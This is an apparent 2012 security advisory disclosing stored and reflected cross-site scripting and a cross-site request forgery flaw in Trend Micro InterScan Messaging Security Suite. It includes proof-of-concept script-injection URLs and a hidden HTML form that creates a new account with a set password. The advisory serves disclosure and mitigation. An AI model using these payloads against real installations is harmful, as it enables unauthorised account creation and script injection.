Trend Micro InterScan Messaging Security Suite: Multiple Vulnerabilities

Thomas Gregory

Sep 14, 2012 • 1 min read

We discovered that Trend Micro InterScan Messaging Security Suite is vulnerable to Cross Site Scripting and Cross-site Request Forgery.

Proof of Concept

The vulnerabilities POC are as follow:

Cross-site Scripting (CVE-2012-2995) (CWE-79)

Persistent/Stored XSS

hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"&lt;script&gt;alert('XSS')&lt;/script&gt;

Non-persistent/Reflected XSS

hxxps://127.0.0.1/initUpdSchPage.imss?src=&lt;script&gt;alert(‘XSS’)&lt;/script&gt;

Cross-Site Request Forgery (CVE-2012-2996) (CWE-352)

&lt;html&gt;
 &lt;body&gt;
  &lt;form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST"&gt;
   &lt;input type="hidden" name="enabled" value="on" /&gt;
   &lt;input type="hidden" name="authMethod" value="1" /&gt;
   &lt;input type="hidden" name="name" value="quorra" /&gt;
   &lt;input type="hidden" name="password" value="quorra.123" /&gt;
   &lt;input type="hidden" name="confirmPwd" value="quorra.123" /&gt;
   &lt;input type="hidden" name="tabAction" value="saveAuth" /&gt;
   &lt;input type="hidden" name="gotoTab" value="saveAll" /&gt;
   &lt;input type="submit" value="CSRF" /&gt;
  &lt;/form&gt;
 &lt;/body&gt;
&lt;/html&gt;

Solution

Currently, we are not aware of any solution from the vendor. You may contact them for patch or update of the product. As a temporary solution, you may restrict access to this application to prevent unauthorized user from making use of this vulnerability.

References

http://cwe.mitre.org/data/definitions/352.html
http://cwe.mitre.org/data/definitions/79.html
http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html